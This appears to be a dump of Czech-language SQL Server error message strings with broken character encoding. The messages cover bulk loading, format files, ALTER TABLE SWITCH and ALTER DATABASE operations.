�X�dek %1!s! ve form�tov�m souboru %2!s!: Duplicitn� ID elementu %3!s!.

�X�dek %1!s! ve form�tov�m souboru %2!s!: Odkaz na neexistuj�c� ID elementu %3!s!.

�X�dek %1!s! ve form�tov�m souboru %2!s!: Odkaz na duplicitn� ID elementu %3!s!.

�Neplatn� atribut sloupce pro ID sloupce %1!s! poch�zej�c� od klienta BCP.

Tasov� limit operace hromadn�ho vlo~en� slu~by SQL Server Destination vyprael. Zkuste zv�ait hodnotu vlastnosti Timeout v toku dat ve slu~b SQL Server Destination.

�Anal�za proudu DTS se nezdaYila. Doalo k chyb pYi 
ten� Y�dku %1!s! ve sloupci %2!s!.

�Neplatn� znak uvozovek pro hromadn� na
ten�. Znak uvozovek mo~e b�t jednobajtov� nebo unicodov�.

�Hromadn� na
ten� se nepovedlo kvoli neplatn� hodnot sloupce v datov�m souboru CSV %1!s! (Y�dek %2!s!, sloupec %3!s!).

 Nelze hromadn na
�st. Pou~ijete-li parametry FIRSTROW a LASTROW, nesm� b�t hodnota parametru FIRSTROW vyaa� ne~ hodnota parametru LASTROW.

 Nelze hromadn na
�st. Pro zdrojov� sloupec %1!s! ve form�tov�m souboru %2!s! je vy~adov�na d�lka pYedpony, d�lka pole 
i ukon
ovac� znak.

$tec� modul XML vr�til objekt 0x%1!s! pro informa
n� polo~ku za
�naj�c� v bl�zkosti Y�dku %2!s! a sloupce %3!s! ve form�tov�m souboru %4!s!.

V bl�zkosti informa
n� polo~ky za
�naj�c� v bl�zkosti Y�dku %1!s! a sloupce %2!s! ve form�tov�m souboru %3!s! doalo k nezn�m� chyb.

�Nelze otevY�t soubor %1!s!. Je vy~adov�no pYihl�aen� pomoc� integrovan�ho ovYov�n�.

�Nelze otevY�t soubor %1!s!. Chyba opera
n�ho syst�mu: %2!s!

�Nelze otevY�t soubor %1!s!. Podporov�ny jsou pouze soubory na disku.

�Nelze otevY�t soubor %1!s!. Je po~adov�no 
lenstv� role bulkadmin.

�Nelze otevY�t soubor %1!s!. Zna
ka poYad� bajto k�dov�n� Unicode nebyla nalezena.

�Hromadn� vlo~en� nen� v re~imu prov�dc�ho pl�nu podporov�no.

�Hromadn� vlo~en� se nezdaYilo z dovodu zmny sch�matu c�lov� tabulky.

�PY�kaz BULK INSERT se nezdaYil z dovodu zmny sch�matu c�lov� tabulky.

�Nelze hromadn na
�st, proto~e objekt mapov�n� souboru SSIS %1!s! nelze otevY�t. K�d chyby opera
n�ho syst�mu %2!s!. OvYte, zda pYistupujete k m�stn�mu serveru prostYednictv�m integrovan�ho ovYov�n�.

�Chcete-li pou~�t klienta BCP, mus� b�t pY�tomen pY�kaz COLMETADATA.

�Data Unicode maj� pro sloupec %1!s! lichou velikost v bajtech. Velikost v bajtech by mla b�t sud�.

�Neplatn� hodnota sloupce pro ID sloupce %1!s! poch�zej�c� od klienta BCP.

�Byla obdr~ena neplatn� d�lka blokov�ch dat LOB pro ID sloupce %1!s!.

�Nejde prov�st hromadn� na
ten� souboru CSV. Pro zdrojov� sloupec 
�slo %1!s! v souboru form�tu %2!s! jsou zadan� neplatn� parametry pol�. Kdy~ je ur
en� form�t CSV, vaechna datov� pole mus� b�t bu znakov�, nebo unicodov� s ukon
ovac�m znakem.

@Nejde prov�st hromadn� na
ten� souboru CSV. Pro zdrojov� sloupec 
�slo %1!s! v souboru form�tu %2!s! je ur
en neplatn� ukon
ovac� znak. Kdy~ je ur
en� form�t CSV, vaechny ukon
ovac� znaky zdrojov�ch sloupco mus� b�t stejn�, a~ na posledn�. Liait se mus� pouze ukon
ovac� znak Y�dku.

tV tabulce %1!s! doalo k chyb pY�kazu ALTER TABLE SWITCH. Nelze pYepnout odd�l tabulky s povolen�m sledov�n�m zmn. PYed pou~it�m pY�kazu ALTER TABLE SWITCH zaka~te sledov�n� zmn.

PY�kaz ALTER TABLE umo~Huje pYidat pouze sloupce, kter� mohou obsahovat hodnoty NULL, nebo sloupce s ur
enou definic� DEFAULT, sloupce identity 
i 
asov�ho raz�tka, nebo (pokud nen� splnna ~�dn� z pYedchoz�ch podm�nek) mus� b�t tabulka pr�zdn�. Jen tehdy lze vlo~it tento sloupec. Sloupec %1!s! nelze pYidat do nepr�zdn� tabulky %2!s!, proto~e nesplHuje ~�dnou z tchto podm�nek.

�Nelze naj�t objekt %1!s!. Objekt neexistuje nebo nem�te pY�sluan� opr�vnn�.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Zadan� odd�l %1!s! c�lov� tabulky %2!s! mus� b�t pr�zdn�.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. C�lov� tabulka %1!s! mus� b�t pr�zdn�.

PY�kaz %1!s! se nezdaYil. Objekt %2!s! %3!s! je rozdlen na odd�ly %4!s!, zat�mco index %5!s! je rozdlen na odd�ly %6!s!.

�PY�kaz %1!s! se nezdaYil. Objekt %2!s! %3!s! obsahuje %4!s! odd�lo, zat�mco index %5!s! obsahuje %6!s! odd�lo.

`PY�kaz %1!s! se nezdaYil. Hodnoty hranic rozsahu pou~it� pYi vytv�Yen� odd�lo objektu %2!s! %3!s! jsou jin� ne~ hodnoty hranic rozsahu pou~it� pYi vytv�Yen� indexu %4!s!.

pObjekt %1!s! zmnit, proto~e se nejedn� o tabulku.

�Bez 
�sla odd�lu v pY�kazu ALTER TABLE SWITCH nelze ur
it dlenou tabulku. Tabulka %1!s! obsahuje odd�ly.

<PY�kaz %1!s! se nezdaYil. Sada sloupco pou~it� pYi vytv�Yen� odd�lo objektu %2!s! %3!s! nen� shodn� se sadou sloupco pou~itou pYi vytv�Yen� indexu %4!s!.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Tabulka %1!s! obsahuje clusterovan� index %2!s!, ale tabulka %3!s! jej neobsahuje.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Clusterovan� index byl v tabulce %1!s! zak�z�n.

|PY�kaz %1!s! se nezdaYil. Typ parametru funkce odd�lu pou~it� k vytvoYen� odd�lu objektu %2!s! %3!s! je odlian� od typu parametru funkce odd�lu pou~it� k vytvoYen� odd�lu indexu %4!s!.

�Omezen� nelze povolit ani zak�zat. Prostudujte si pYedchoz� chyby.

<Omezen� %1!s! neexistuje.

�PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e tabulka %1!s! obsahuje fulltextov� index.

�Atribut PERSISTED sloupce %1!s! nelze zmnit, proto~e tento sloupec nen� po
�tan�.

�PY�kaz ALTER TABLE se nezdaYil, proto~e aktiva
n� ud�lost %1!s! v tabulce %2!s! neexistuje.

�PY�kaz ALTER TABLE se nezdaYil, proto~e aktiva
n� ud�lost %1!s! nen�le~� tabulce %2!s!.

�Operace %1!s! %2!s! selhala, proto~e jeden nebo v�ce objekto pYistupuje k tomuto %3!s!.

HPY�kaz ALTER TABLE DROP COLUMN se nezdaYil, proto~e objekt %1!s! je jedin� datov� sloupec v tabulce %2!s!. Tabulka mus� obsahovat alespoH jeden datov� sloupec.

�Operace %1!s! se nezdaYila, proto~e sloupec %2!s! v tabulce %3!s! neexistuje.

PY�kaz ALTER TABLE ALTER COLUMN ADD ROWGUIDCOL se nezdaYil, proto~e v tabulce %1!s! s vlastnost� ROWGUIDCOL ji~ existuje sloupec.

PY�kaz ALTER TABLE ALTER COLUMN DROP ROWGUIDCOL se nezdaYil, proto~e v tabulce %1!s! s vlastnost� ROWGUIDCOL neexistuje ~�dn� sloupec.

|Datov� typ sloupce %1!s! nelze nastavit na mo~nost %2!s!.

�Sloupec %1!s! nelze zmnit, proto~e se jedn� o objekt %2!s!.

�Objekt %1!s! %2!s! nelze zmnit, proto~e je publikov�n pro replikaci.

Po
�tan� sloupec %1!s! v tabulce %2!s! nelze nastavit jako trval�, proto~e sloupec z�vis� na objektu, kter� nen� sv�zan� se sch�matem.

Po
�tan� sloupec %1!s! v tabulce %2!s! nelze nastavit jako trval�, proto~e sloupec pYistupuje k u~ivatelsk�m 
i syst�mov�m datom.

�PY�kaz ALTER TABLE ADD COLUMN nemo~e ur
it skupinu souboro FILESTREAM odlianou od existuj�c� skupiny.

�Po
�tan� sloupec %1!s! v tabulce %2!s! nelze nastavit jako trval�, proto~e sloupec je nedeterministick�.

dPY�kaz ALTER TABLE SWITCH se nezdaYil. Odd�l %1!s! objektu %2!s! %3!s! je sou
�st� skupiny souboro %4!s! a odd�l %5!s! objektu %6!s! %7!s! je sou
�st� skupiny souboro %8!s!.

LPY�kaz ALTER TABLE SWITCH se nezdaYil. Objekt %1!s! %2!s! je sou
�st� skupiny souboro %3!s! a odd�l %4!s! objektu %5!s! %6!s! je sou
�st� skupiny souboro %7!s!.

0PY�kaz ALTER TABLE SWITCH se nezdaYil. Objekt %1!s! %2!s! je sou
�st� skupiny souboro %3!s! a objekt %4!s! %5!s! je sou
�st� skupiny souboro %6!s!.

�PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e tabulka %1!s! je ozna
ena jako ur
en� ke slu
ovac� replikaci.

tPY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e sloupec %1!s! na poYadov�m m�st %2!s! v tabulce %3!s! m� odlian� n�zev ne~ sloupec %4!s! na stejn�m poYadov�m m�st v tabulce %5!s!.

,PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e tabulka %1!s! obsahuje jin� po
et sloupco (po
et: %2!s!) ne~ tabulka %3!s! (po
et sloupco: %4!s!).

\PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e sloupec %1!s! obsahuje datov� typ %2!s! ve zdrojov� tabulce %3!s!, kter� je odlian� od typu %4!s! v c�lov� tabulce %5!s!.

�PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e sloupec %1!s! nem� stejnou kolaci v tabulk�ch %2!s! a %3!s!.

�PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e sloupec %1!s! nem� stejn� trval� atribut v tabulk�ch %2!s! a %3!s!.

,PY�kaz ALTER TABLE SWITCH se nezdaYil. Ve zdrojov� tabulce %1!s! neexistuje index, kter� by byl identick� s indexem %2!s! v c�lov� tabulce %3!s!.

,PY�kaz ALTER TABLE SWITCH se nezdaYil. Zdrojov� tabulka %1!s! se nach�z� v datab�zi %2!s!, ale c�lov� tabulka %3!s! se nach�z� v datab�zi %4!s!.

�PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e objekt %1!s! nen� u~ivatelem definovan� tabulka.

�PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e 
�slo odd�lu %1!s! v tabulce %2!s! neexistuje.

PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e sloupec %1!s! nem� stejn� atribut �lo~iat FILESTREAM v tabulk�ch %2!s! a %3!s!.

PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e sloupec %1!s! nem� stejnou s�mantiku oY�znut� ANSI v tabulk�ch %2!s! a %3!s!.

dPY�kaz ALTER TABLE SWITCH se nezdaYil. Sada sloupco pou~it� pYi vytv�Yen� odd�lo v tabulce %1!s! nen� shodn� se sadou sloupco pou~itou pYi vytv�Yen� odd�lo v tabulce %2!s!.

|PY�kaz ALTER TABLE SWITCH se nezdaYil. Tabulka %1!s! m� vnitYn� limit o hodnot %2!s! platn� pro text v datech Y�dku a tato hodnota je odlian� od hodnoty %3!s! pou~it� v tabulce %4!s!.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Zdrojov� tabulka %1!s! a c�lov� tabulka %2!s! jsou toto~n�.

�PY�kaz %1!s! se nezdaYil, proto~e v�raz, kter� identifikuje 
�slo odd�lu objektu pro objekt %2!s! %3!s!, nen� cel� 
�slo.

�PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e sloupec %1!s! nem� stejnou vlastnost ROWGUIDCOL v tabulk�ch %2!s! a %3!s!.

lPY�kaz ALTER TABLE SWITCH se nezdaYil. Odd�l %1!s! objektu %2!s! %3!s! obsahuje skupinu souboro TEXT %4!s! a odd�l %5!s! objektu %6!s! %7!s! obsahuje skupinu souboro TEXT %8!s!.

xPY�kaz ALTER TABLE SWITCH se nezdaYil. Omezen� CHECK %1!s! ve zdrojov� tabulce %2!s! m� hodnotu NOCHECK, ale odpov�daj�c� omezen� CHECK %3!s! v c�lov� tabulce %4!s! m� hodnotu CHECK.

,PY�kaz ALTER TABLE SWITCH se nezdaYil. Sloupec %1!s! v tabulce %2!s! mo~e nab�vat hodnotu null, ale v tabulce %3!s! hodnotu null nab�vat nemo~e.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Odd�l %1!s! nen� platn� pro tabulku %2!s!.

PY�kaz ALTER TABLE SWITCH se nezdaYil. Tabulka %1!s! obsahuje omezen� RULE %2!s!. PY�kaz SWITCH nen� povolen v tabulk�ch s omezen�m RULE.

$PY�kaz ALTER TABLE SWITCH se nezdaYil. Sloupec %1!s! v tabulce %2!s! je po
�tan� sloupec, ale toto~n� sloupec v tabulce %3!s! nen� po
�tan�.

pPY�kaz ALTER TABLE SWITCH se nezdaYil. Po
�tan� sloupec %1!s! definovan� jako %2!s! v tabulce %3!s! je odlian� od stejn�ho sloupce v tabulce %4!s!, kter� je definovan� jako %5!s!.

 PY�kaz ALTER TABLE SWITCH se nezdaYil. PY�kaz SWITCH nen� povolen, proto~e zdrojov� tabulka %1!s! obsahuje prim�rn� kl�
 pro omezen� %2!s!.

<PY�kaz ALTER TABLE SWITCH se nezdaYil. C�lov� tabulka %1!s! obsahuje omezen� ciz�ho kl�
e %2!s!, ale zdrojov� tabulka %3!s! neobsahuje odpov�daj�c� kl�
.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Omezen� ciz�ho kl�
e %1!s! je ve zdrojov� tabulce %2!s! zak�z�no, ale pY�sluan� omezen� %3!s! je povoleno v c�lov� tabulce %4!s!. Omezen� zdrojov� tabulky je tYeba povolit.

XPY�kaz ALTER TABLE SWITCH se nezdaYil. C�lov� tabulka %1!s! obsahuje omezen� CHECK na �rovni tabulky %2!s!, ale zdrojov� tabulka %3!s! neobsahuje odpov�daj�c� omezen�.

XPY�kaz ALTER TABLE SWITCH se nezdaYil. C�lov� tabulka %1!s! obsahuje omezen� CHECK na �rovni sloupce %2!s!, ale zdrojov� tabulka %3!s! neobsahuje odpov�daj�c� omezen�.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Omezen� CHECK 
i funkce odd�lo zdrojov� tabulky %1!s! povoluj� hodnoty, kter� nejsou povoleny omezen�mi CHECK 
i funkcemi odd�lo v c�lov� tabulce %2!s!.

@PY�kaz ALTER TABLE SWITCH se nezdaYil. Rozsah definovan� odd�lem %1!s! v tabulce %2!s! nen� podmno~inou rozsahu definovan�ho odd�lem %3!s! v tabulce %4!s!.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Omezen� ciz�ho kl�
e %1!s! m� ve zdrojov� tabulce %2!s! hodnotu NOCHECK, ale pY�sluan� omezen� %3!s! m� v c�lov� tabulce %4!s! hodnotu CHECK. Omezen� zdrojov� tabulky mus� m�t hodnotu CHECK.

xPY�kaz ALTER TABLE SWITCH se nezdaYil. Omezen� CHECK %1!s! ve zdrojov� tabulce %2!s! a omezen� CHECK %3!s! v c�lov� tabulce %4!s! maj� odlian� nastaven� atributu NOT FOR REPLICATION.

\PY�kaz ALTER TABLE SWITCH se nezdaYil. C�lov� tabulka %1!s! obsahuje omezen� CHECK %2!s! pro sloupec XML, ale zdrojov� tabulka %3!s! neobsahuje identick� omezen� CHECK.

dPY�kaz ALTER TABLE SWITCH se nezdaYil. C�lov� tabulka %1!s! obsahuje omezen� CHECK %2!s! pro sloupec typu CLR, ale zdrojov� tabulka %3!s! neobsahuje identick� omezen� CHECK.

PY�kaz ALTER TABLE SWITCH se nezdaYil. Odd�l %1!s! v tabulce %2!s! se nach�z� ve skupin souboro %3!s! ur
en� jen pro 
ten�.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Tabulka %1!s! se nach�z� ve skupin souboro %2!s! ur
en� jen pro 
ten�.

PY�kaz ALTER TABLE SWITCH se nezdaYil. Data LOB odd�lu %1!s! v tabulce %2!s! se nach�z� ve skupin souboro %3!s! ur
en� jen pro 
ten�.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Data LOB tabulky %1!s! se nach�z� ve skupin souboro %2!s! ur
en� jen pro 
ten�.

hPY�kaz ALTER TABLE SWITCH se nezdaYil. Omezen� CHECK zdrojov� tabulky %1!s! povoluj� hodnoty, kter� nejsou povoleny rozsahem definovan�m odd�lem %2!s! v c�lov� tabulce %3!s!.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. C�lov� tabulka %1!s! obsahuje index XML 
i prostorov� index %2!s!. V pY�kazu ALTER TABLE SWITCH mo~e indexy XML 
i prostorov� indexy obsahovat pouze zdrojov� tabulka.

@PY�kaz ALTER TABLE SWITCH se nezdaYil. C�lov� tabulka %1!s! a zdrojov� tabulka %2!s! maj� odlian� hodnoty form�tu �lo~iat Vardecimal. Chcete-li zmnit mo~nost vardecimal storage format, pou~ijte pro tyto tabulky ulo~enou proceduru sp_tableoption a ovYte, zda jsou hodnoty toto~n�.

4PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! toto~nou hodnotu atributu mo~nosti pou~it� hodnoty null.

�PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejn� typ CLR.

�PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e sloupec %1!s! nem� v tabulk�ch %2!s! a %3!s! stejnou kolekci sch�mat XML.

�Po
�tan� sloupec %1!s! nelze zmnit na trval�. Podkladov� objekt %2!s! m� jin�ho vlastn�ka ne~ tabulka %3!s!.

Vlastnost ROWGUIDCOL pro sloupec %1!s! v tabulce %2!s! nelze vyYadit, proto~e sloupec nen� ur
en jako ROWGUIDCOL pro tuto tabulku.

�Sloupec %1!s! v tabulce %2!s! nelze zmnit pYid�n�m nebo odebr�n�m vlastnosti sloupce FILESTREAM.

�Ve sloupci %1!s! v tabulce %2!s! nelze zmnit atribut NOT FOR REPLICATION, proto~e tento sloupec nen� sloupec identity.

lMo~nost tabulky LARGE VALUE TYPES OUT OF ROW nelze pou~�t v u~ivatelsk� tabulce, kter� neobsahuje ~�dn� z typo velk�ch hodnot varchar(max), nvarchar(max), varbinary(max), xml 
i typ large CLR. Tuto mo~nost lze pou~�t pouze v tabulk�ch obsahuj�c�ch po
�tan� sloupec s velk�mi hodnotami, kter� jsou trval�.

 PY�kaz ALTER TABLE SWITCH se nezdaYil. Mo~nost tabulky LARGE VALUE TYPES OUT OF ROW je v tabulce %1!s! nastavena jinak ne~ v tabulce %2!s!.

Po
�tan� sloupec %1!s! v tabulce %2!s! nelze nastavit jako trval�, proto~e typ sloupce %3!s! je typ CLR bez Yazen� podle bajto.

dForm�t �lo~iat Vardecimal nelze v tabulce %1!s! povolit, proto~e datab�ze %2!s! je syst�mov� datab�ze. Form�t �lo~iat Vardecimal nen� v syst�mov�ch datab�z�ch k dispozici.

hV tabulce %1!s! je sledov�n� zmn ji~ povoleno.

dV tabulce %1!s! nelze povolit sledov�n� zmn. Sledov�n� zmn vy~aduje, aby v tabulce byl prim�rn� kl�
. DY�ve ne~ povol�te sledov�n� zmn v tabulce, vytvoYte prim�rn� kl�
.

hPro tabulku %1!s! nen� povoleno sledov�n� zmn.

V tabulce %1!s! nelze povolit sledov�n� zmn. Prim�rn� kl�
 typu 
asov� raz�tko nen� v tabulce pYi sledov�n� zmn podporov�n.

TU~ivatel mus� b�t v hlavn� datab�zi.

�Datab�ze %1!s! neexistuje. Zkontrolujte n�zev v zobrazen� sys.databases a akci opakujte.

�Pokud datab�ze obsahuje soubory offline, nelze povolit zrcadlen� datab�ze.

�Chcete-li pou~�t pY�kaz ALTER DATABASE, mus� b�t datab�ze v zapisovateln�m stavu, kdy lze spustit kontroln� bod.

�Uveden� 
as obnoven� %1!s! s je mena� ne~ nula nebo vta� ne~ maxim�ln� hodnota %2!s! s.

�Nelze z�skat v�hradn� pY�stup k objektu %1!s! %2!s! a prov�st po~adovanou operaci.

�Tento pY�kaz ALTER DATABASE nen� podporov�n. Opravte syntaxi a spusete pY�kaz znovu.

�Jeden 
i v�ce souboro uveden�ch v pY�kazu nebyl nalezen 
i jej nelze inicializovat.

�N�zev souboru protokolu nelze vygenerovat z nezpracovan�ho zaY�zen�. Je tYeba zadat n�zev protokolu a cestu.

�U~ivatel nem� opr�vnn� zmnit datab�zi %1!s!, datab�ze neexistuje nebo nen� ve stavu umo~Huj�c�m kontroly pY�stupu.

dN�zev prim�rn� skupiny souboro nelze zmnit.

�Do hlavn�ch a modelov�ch datab�z� nelze pYidat soubory. PY�kaz ALTER DATABASE byl pYeruaen.

hObjekt %1!s! %2!s! v datab�zi %3!s! neexistuje.

�PY�kaz ALTER DATABASE se nezdaYil. Celkov� ur
en� velikost mus� b�t 1 MB 
i vta�.

dNelze zmnit n�zev syst�mov� datab�ze %1!s!.

Vlastnost AUTOGROW_ALL_FILES nebo AUTOGROW_SINGLE_FILE nejde upravit pro skupinu souboro FILESTREAM nebo MEMORY_OPTIMIZED_DATA.

�Prim�rn� soubor dat 
i protokolu nelze odebrat z datab�ze.

tSoubor protokolu t�to datab�ze %1!s! je ji~ aktivn�.

�Chcete-li znovu sestavit protokol, mus� b�t datab�ze v re~imu podezYen� 
i v nouzov�m re~imu.

�V objektu sysfiles1 nebyl nalezen ~�dn� z�znam prim�rn�ho souboru protokolu. Protokol nelze znovu sestavit.

�Soubor %1!s! ji~ existuje. Aby bylo mo~n� vytvoYit nov� soubor protokolu, je tYeba soubor pYejmenovat 
i odstranit.

�Protokoly syst�mov�ch datab�z� master, model a tempdb nelze znovu sestavit.

�Syst�m nemohl aktivovat dostatek datab�ze, aby bylo mo~n� znovu sestavit protokol.

tNelze v�hradn uzamknout datab�zi a prov�st operaci.

�Soubor %1!s! nelze odebrat, proto~e se jedn� o jedin� soubor ve skupin souboro DEFAULT.

|Maxim�ln� po
et souboro v datab�zi (%1!s!) byl pYekro
en.

�Soubor %1!s! je aktu�ln automaticky zvtaov�n 
i upravov�n jin�m procesem. Opakujte operaci pozdji.

Skupina souboro %1!s! v t�to datab�zi ji~ existuje. Zadejte jin� n�zev nebo odeberte konfliktn� skupinu souboro, pokud je pr�zdn�.

xPY�kaz MODIFY FILE se nezdaYil. Zadejte logick� n�zev.

�PY�kaz MODIFY FILE se v souboru %1!s! nezdaYil. Je tYeba zadat nejm�n jednu vlastnost pro ka~d� soubor.

�PY�kaz MODIFY FILE se nezdaYil. Zadan� velikost je mena� 
i rovna aktu�ln� velikosti.

�PY�kaz MODIFY FILE se nezdaYil. Velikost je veta� ne~ hodnota MAXSIZE.

|PY�kaz MODIFY FILE se nezdaYil. Soubor %1!s! neexistuje.

xObjekt %1!s! %2!s! nelze odebrat, proto~e nen� pr�zdn�.

lObjekt %1!s! %2!s! nebyl v objektu %3!s! nalezen.

hObjekt %1!s! m� ji~ nastavenou vlastnost %2!s!.

|Nelze zmnit vlastnost READONLY skupiny souboro PRIMARY.

�Soubory ve skupin souboro %1!s! nelze pYidat, odebrat ani zmnit. Skupina souboro je ur
en� jen pro 
ten�.

�Vlastnosti pr�zdn� skupiny souboro %1!s! nelze zmnit. Skupina souboro mus� obsahovat alespoH jeden soubor.

TSkupinu souboro nelze nazvat DEFAULT.

|Akce %1!s! nen� povolena, je-li datab�ze ve stavu %2!s!.

POperace zmenaen� 
i odebr�n� souboru nelze prov�st, proto~e nelze vy
istit Yetzy IAM pracovn� tabulky. Opakujte akci, a~ bude datab�ze tempdb ve stavu ne
innosti.

�Soubor %1!s! nelze pYidat, odebrat ani zmnit. Soubor je ur
en jen pro 
ten�.

�Ve skupin souboro %1!s! nelze pYidat, odebrat ani zmnit soubor, proto~e skupina souboro nen� online.

�Soubor %1!s! nelze pYidat, odebrat ani zmnit, proto~e je offline.

hV datab�zi %2!s! nelze nastavit mo~nost %1!s!.

�Datab�ze %1!s! je v pYechodn�m stavu. Opakujte pY�kaz ALTER DATABASE pozdji.

�PY�kaz ALTER DATABASE se nezdaYil, proto~e datab�ze %1!s! nemohla b�t uzam
ena. Opakujte akci pozdji.

�Mo~nost %1!s! je v konfliktu s jinou po~adovanou mo~nost�. Tyto mo~nosti nelze po~adovat ob sou
asn.

�Datab�ze %1!s! je v z�lo~n�m pohotovostn�m re~imu. Datab�ze v z�lo~n�m pohotovostn�m re~imu je jen pro 
ten�.

 V tuto chv�li nelze zmnit stav nebo mo~nosti datab�ze %1!s!. Datab�ze je v jednou~ivatelsk�m re~imu a aktu�ln k n� je pYipojen u~ivatel.

�Soubor %1!s! je pr�v prohled�v�n nebo pou~�v�n u~ivatelsk�m procesem nebo procesem na pozad�. Opakujte operaci pozdji.

�Mo~nosti datab�ze Single User a DBO Use Only nemohou b�t nastaveny sou
asn.

�Mo~nost datab�ze TORN_PAGE_DETECTION nen� kompatibiln� s mo~nost� PAGE_CHECKSUM.

PPY�kaz ALTER DATABASE se nezdaYil.

�Stav datab�ze nelze zmnit, pokud datab�zi %1!s! pou~�vaj� jin� u~ivatel�.

�Protokol optovn�ho sestaven� mo~e ur
ovat pouze jeden soubor.

�PY�kaz ALTER DATABASE se nezdaYil. V�choz� kolaci datab�ze %1!s! nelze nastavit na hodnotu %2!s!.

�Nelze zmnit kolaci pro datab�zi %1!s!, proto~e je ve stavu READONLY, OFFLINE nebo ozna
ena stavem SUSPECT.

dObjekt %1!s! %2!s! je z�visl� na %3!s! %4!s!.

tObjekt %1!s! %2!s! je z�visl� na %3!s!. Kolaci datab�ze nelze zmnit, pokud na kolaci z�vis� objekt sv�zan� se sch�matem. Odeberte z�vislosti na kolaci datab�ze a opakujte operaci.

�Nelze zmnit stav nedatov�ch soboro nebo souboro v prim�rn� skupin souboro.

�Nelze zmnit mo~nosti datab�ze %1!s!, proto~e je ve stavu READONLY, OFFLINE nebo ozna
ena stavem SUSPECT.

lV datab�zi %1!s! nejde zak�zat form�t �lo~iat Vardecimal, proto~e datab�ze nepou~�v� jednoduch� model obnoven�. ZmHte model obnoven� datab�ze na jednoduch� a opakujte pY�kaz.

�Hodnota pro mo~nost sledov�n� zmn %1!s! nen� platn�. Hodnota mus� b�t kladn� 
�slo.

�Nelze zmnit stav spr�vy verz� v datab�zi %1!s! spolu s jin�m stavem datab�ze.

�PYi zmn�ch stavu spr�vy verz� nen� podporov�na mo~nost ukon
en�.

�PY�kaz ALTER DATABASE se nezdaYil, proto~e syst�m SQL Server byl spuatn s jedn�m nebo v�ce nedokumentovan�mi pY�znaky trasov�n�, kter� neumo~nily datab�zi povolit 
i zak�zat spr�vu verz�.

,V datab�zi %1!s! nelze zak�zat form�t �lo~iat Vardecimal, proto~e v datab�zi je jedna nebo v�ce tabulek, ve kter�ch je form�t �lo~iat Vardecimal povolen. Zaka~te form�t �lo~iat Vardecimal ve vaech tabulk�ch, potom mo~ete zak�zat form�t �lo~iat Vardecimal pro datab�zi.

�Typ obsahu souboru se neshoduje s typem obsahu skupiny souboro.

lV datab�zi %1!s! je sledov�n� zmn ji~ povoleno.

V datab�zi %1!s! je sledov�n� zmn zak�z�no. Chcete-li zmnit nastaven� sledov�n� zmn, mus� b�t sledov�n� zmn v datab�zi povoleno.

�Datab�ze %1!s! je syst�mov� datab�ze. U syst�mov�ch datab�z� nelze zmnit nastaven� sledov�n� zmn.

�V pY�kazu ALTER DATABASE byla mo~nost sledov�n� zmn %1!s! zad�na v�ce ne~ jednou. Ka~dou mo~nost lze zadat pouze jednou.

�Hodnota pro mo~nost sledov�n� zmn %1!s! nen� platn�. Hodnota mus� b�t v rozsahu %2!s! a~ %3!s! minut.

\Operaci nelze prov�st na sn�mku datab�ze.

�Operaci nelze prov�st na datab�zi, kter� m� sn�mky datab�ze nebo aktivn� repliky pY�kazu DBCC.

�Datab�zi nebo skupinu souboro nelze nastavit do re~imu jen pro 
ten�, pokud soubory podl�haj� operaci RESTORE PAGE. PYed pYechodem do re~imu jen pro 
ten� dokon
ete posloupnost obnoven�, kter� zahrnuje soubor %1!s!.

|Model obnoven� nelze zmnit na hodnotu SIMPLE, pokud soubory podl�haj� operaci RESTORE PAGE. PYed pYechodem do stavu SIMPLE dokon
ete posloupnost obnoven�, kter� zahrnuje soubor %1!s!.

\Kontejner nelze nastavit do stavu offline, proto~e byly provedeny zmny, kter� vy~aduj� z�lohov�n� protokolo. Provete z�lohu protokolo a opakujte pY�kaz ALTER DATABASE.

8Kontejner nelze vyYadit, proto~e byly provedeny zmny, kter� vy~aduj� z�lohov�n� protokolo. Provete z�lohu protokolo a opakujte pY�kaz ALTER DATABASE.

�Byl proveden pokus o otevYen� skupiny souboro pro neplatn� ID %1!s! v datab�zi %2!s!.

�Parametr MAXSIZE nemo~e b�t mena� ne~ parametr SIZE souboru %1!s!.

DSoubor %1!s! je ji~ pou~�v�n.

8PYi aktivaci souboru doalo k chyb. N�zev fyzick�ho souboru %1!s! mo~e b�t nespr�vn�. Diagnostikujte a opravte pY�padn� dala� chyby a opakujte operaci.

�Soubor %1!s! je v s�eov� cest, kter� nen� pro soubory syst�mov� datab�ze podporov�na.

XPro sn�mky datab�ze by nemly b�t zad�v�ny soubory protokolo, offline soubory, obnovuj�c� soubory a nefunk
n� soubory. %1!s! nen� povolen� soubor pro sn�mek datab�ze.

�Pro sn�mky datab�ze lze zad�vat pouze soubory datab�ze SQL Server. %1!s! nen� soubor datab�ze SQL Server.

Soubor %1!s! je komprimov�n, ale nen� um�stn v datab�zi nebo skupin souboro jen pro 
ten�. Soubor je nutn� dekomprimovat.

�Ze souboru %1!s! nelze vytvoYit zhuatn� soubor. Zkontrolujte, zda syst�m souboro podporuje zhuatn� soubory.

�Nelze otevY�t fyzick� soubor %1!s!. Chyba opera
